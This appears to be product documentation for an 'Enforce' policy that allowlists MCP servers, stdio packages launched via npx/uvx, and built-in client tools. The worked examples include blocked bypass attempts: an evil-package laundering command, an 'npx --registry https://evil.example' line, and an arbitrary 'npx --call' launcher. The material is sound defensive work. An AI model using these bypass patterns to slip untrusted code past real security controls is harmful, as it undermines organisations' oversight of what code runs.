> ## Documentation Index
> Fetch the complete documentation index at: https://docs.runlayer.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Enforce Policy

> Configure the Enforce allowlists and built-in tool blocks that decide which unmanaged tool sources are permitted

Once [Enforce](/shadow-ai/enforce) hooks are installed, the **Enforce policy** governs which unmanaged tool sources are allowed and which built-in client tools are blocked. This page mirrors the configuration surface field-by-field.

## Where to configure it

Admins edit the policy under **Settings** → **MDM Configuration**. Editing requires the **Manage org settings** capability — the MDM Configuration page is reachable by MDM-config-only admin roles, but the Enforce policy editor only renders for admins who can manage org settings.

The editor has four groups — **Allowed remote MCP URLs**, **Allowed local (STDIO) packages**, **Allowed built-in MCP servers**, and **Blocked built-in tools** — and a single **Save Enforce policy** action. Saving writes the **whole policy at once** (a save replaces every dimension), so unchanged groups are preserved exactly as fetched.

<Note>
  All source rules are **fail-closed**: anything Enforce cannot positively match to a Runlayer-managed source, an allowlist entry, or a permitted built-in is blocked. Widening what runs always means adding an allowlist entry, never removing a block.
</Note>

## Allowed remote MCP URLs

Enforce **blocks** remote (HTTP/S) MCP servers that do not point at your Runlayer instance. Add **allowed remote MCP URLs** to permit specific external endpoints. You can configure up to **50** entries.

Each entry is a base URL. A tool call's MCP URL is allowed when:

* The **scheme**, **host**, and **port** match the entry (default ports `443` / `80` for HTTPS / HTTP are treated the same as omitting the port).
* If the entry has **no path** (or only `/`), any path on that origin is allowed.
* If the entry includes a path (for example `https://partner.example.com/mcp`), the MCP URL's path must match that prefix **with a path boundary** — `/mcp` and `/mcp/stream` match; `/mcpbackup` does not.

## Allowed local (STDIO) packages

Enforce also blocks local (stdio) MCP servers — those launched by a command such as `npx ...` or `uvx ...` — unless the launched package is on your **stdio package allowlist**. This lets you permit specific published MCP packages without permitting arbitrary local command execution. You can configure up to **100** entries.

<Note>
  Local commands are trivially spoofable, so Enforce **never allowlists a raw command string.** Instead it extracts a canonical *package identity* from the command and matches that against the list. A command that does not resolve to a launcher-backed package identity is denied.
</Note>

### Package identity

Each entry is a canonical **package identity**: an **ecosystem** (`npm` or `PyPI`), a **name**, and an **optional version pin**.

* **Ecosystem + name must match.** Names are normalized before comparison (see [Name normalization](#name-normalization)).
* **Version is optional.** An entry with no version matches **any** version; an entry pinned to a version matches **only** that version. A versionless launch command can never satisfy a pinned entry.

### Recognized launchers

Only ecosystem launchers resolve to a package identity. Every other program — including raw binary paths (`/usr/local/bin/server`), interpreters (`node build/index.js`, `python -m server`), and unknown launchers — has no package identity and is **blocked**.

| Launcher      | Ecosystem |
| ------------- | --------- |
| `npx`         | npm       |
| `uvx`         | PyPI      |
| `uv tool run` | PyPI      |

### Which argument is the package

Enforce reads the launcher's own flags up to the **first positional argument** (the command), which is the package it runs. An explicit package flag overrides that positional:

* **npm:** `--package` / `-p` names the package explicitly; its value is the package spec (`npx --package foo bar` installs `foo`). When present before the command it wins over the positional.
* **uv:** `--from` is the analogue (`uvx --from foo bar` installs `foo`, runs its `bar` entry point). When present it wins over the positional.

Flags **after** the command belong to that command, not the launcher, so they are never read as the package. This prevents laundering an untrusted package past an allowlisted one (`npx <evil> --package <allowlisted>` still runs `<evil>`).

### Version pinning

| Ecosystem | Pin syntax                                     | Example                                     |
| --------- | ---------------------------------------------- | ------------------------------------------- |
| npm       | `name@version` (scoped: `@scope/name@version`) | `@modelcontextprotocol/server-github@0.6.2` |
| PyPI      | `name==version` or `name@version`              | `mcp-server-fetch==2.1.0`                   |

Leave the version blank on an entry to allow any version.

### Name normalization

Names are normalized so stored entries match what the parser produces at hook time:

* **npm** — lowercased. The leading `@` of a scoped name is part of the name, not a version separator.
* **PyPI** — [PEP 503](https://peps.python.org/pep-0503/) canonical form: lowercased, with runs of `-`, `_`, and `.` collapsed to a single `-`. So `mcp_server_fetch`, `MCP.Server.Fetch`, and `mcp-server-fetch` are all the **same** package.

### Always blocked

These never resolve to a single package identity and are always denied, regardless of the allowlist:

* **Arbitrary-command launchers** — `npx --call` / `-c` run an arbitrary command string with no single package identity.
* **Unrecognized launcher flags before the command** — Enforce models each launcher's own flags exactly. Any other flag before the command has unknown arity (it might or might not consume the next token), so Enforce cannot tell which token is the package and fails closed. Put npm config in `.npmrc`/env rather than inline flags.
* **Shell injection** — commands with hidden shell operators, subshells, or injection patterns.
* **Unparseable commands** — unbalanced quoting or anything the parser cannot tokenize.
* **Empty commands.**

### Worked examples

| Launch command                                  | Resolved identity                                         | Result                                                           |
| ----------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------- |
| `npx -y @modelcontextprotocol/server-github`    | npm · `@modelcontextprotocol/server-github` · any version | Allowed if the package is listed                                 |
| `npx @modelcontextprotocol/server-github@0.6.2` | npm · `@modelcontextprotocol/server-github` · `0.6.2`     | Allowed only by a matching entry (any-version or pinned `0.6.2`) |
| `npx --package left-pad run-thing`              | npm · `left-pad` · any version                            | `--package` value wins over the positional                       |
| `uvx mcp-server-fetch`                          | PyPI · `mcp-server-fetch` · any version                   | Allowed if listed                                                |
| `uvx mcp_server_fetch==2.1.0`                   | PyPI · `mcp-server-fetch` · `2.1.0`                       | Name PEP 503-normalized before matching                          |
| `uvx --with extra-dep mcp-server-time`          | PyPI · `mcp-server-time` · any version                    | `--with` value skipped; positional is the package                |
| `uv tool run --from my_pkg my-cmd`              | PyPI · `my-pkg` · any version                             | `--from` value wins; `uv tool run` = `uvx`                       |
| `npx --call "node -e ..."`                      | —                                                         | **Blocked** — arbitrary command, no identity                     |
| `npx --registry https://evil.example pkg`       | —                                                         | **Blocked** — unrecognized flag before command, fails closed     |
| `node build/index.js`                           | —                                                         | **Blocked** — not a recognized launcher                          |

### Residual risk: name, not content

Name-based matching binds the package **name**, not its **content**. A dependency-confusion or malicious-republish attack that keeps the same name would still match an allowlist entry. Content binding (lockfile / artifact hash) is intentionally out of scope. Treat the stdio allowlist as a control over *which packages are permitted*, not a supply-chain integrity guarantee.

### Promote a discovered package (one-click)

When [Detect](/shadow-ai/detect) discovers a local stdio MCP whose command resolves to a package identity, you can **Add to allowlist** in one click from the sighting's detail drawer — Enforce appends the parsed identity to the stdio allowlist. This requires the **Manage org settings** capability. The same one-click **Add to allowlist** action is available for discovered [remote MCP URLs](#allowed-remote-mcp-urls).

## Blocked built-in tools

Beyond MCP sources, Enforce can deny **built-in client tools** by type. Toggle a type on to block every built-in tool of that type across supported clients:

| Type                 | Blocks                                                          |
| -------------------- | --------------------------------------------------------------- |
| **Shell / terminal** | `bash`, `terminal`, and run-command built-in tools              |
| **File read**        | `read` / `read_file` built-in tools                             |
| **File write**       | `write`, `edit`, `patch`, and create/delete-file built-in tools |

Tool type is derived **server-side from the tool name**, so a client cannot bypass a block by mislabeling a tool's type in its request. Types you do not toggle on are allowed by default.

<Note>
  This is part of **local tool lifecycle enforcement**, so it requires **Full session scanning APIs** and the target **Hook client** enabled under **Settings** → **General**. Shadow MCP source blocking (the remote-URL, stdio, and built-in dimensions) stays active without full session scanning. See [Enforcement paths](/shadow-ai/enforce#enforcement-paths).
</Note>

## Built-in MCP servers

Some clients ship **non-configurable, built-in MCP servers** that never appear in any config file — for example GitHub Copilot CLI's `github-mcp-server`, `playwright`, `fetch`, `time`, and `computer-use`. The client resolves these internally, so the hook identifies them by `(client, built-in server name)` rather than by URL or command.

Enforce ships a **safe default allowlist** of well-known built-ins per client, so these keep working out of the box:

| Client             | Default built-in MCP servers                                                        |
| ------------------ | ----------------------------------------------------------------------------------- |
| GitHub Copilot CLI | `github-mcp-server`, `playwright`, `fetch`, `time`, `computer-use`                  |
| Claude Code        | `workspace`, `claude-in-chrome`, `computer-use`, `Claude Preview`, `Claude Browser` |
| Codex              | `memories`                                                                          |

In the **Allowed built-in MCP servers** group:

* Keep **Use Runlayer safe defaults** on (the default) to trust the built-ins above.
* Turn it off to define a **custom list** — seeded from the defaults so you can prune or extend it — that **replaces the defaults entirely**. Each row is a `(client, built-in server name)` pair.
* Clear the custom list to block **all** built-in MCP servers.

The same states map to the `builtin_allowlist` field on the Enforce policy API (`PUT .../ai-watch-enforce`): `null` uses the safe defaults, an explicit list overrides them, and `[]` blocks all built-in MCP servers.

A missing client or built-in server name never matches, so an unidentifiable built-in is blocked like any other unmatched source.

## Related Resources

<CardGroup cols={2}>
  <Card title="Enforce" icon="shield" href="/shadow-ai/enforce">
    How Enforce intercepts calls, deployment, and troubleshooting
  </Card>

  <Card title="Detect" icon="search" href="/shadow-ai/detect">
    Discover shadow servers and promote them to the allowlist
  </Card>

  <Card title="Policies" icon="shield" href="/platform-policies">
    Configure access control policies for managed MCPs
  </Card>

  <Card title="Deploy AI Watch" icon="download" href="/shadow-ai/deploy">
    Install the package and turn on Enforce
  </Card>
</CardGroup>
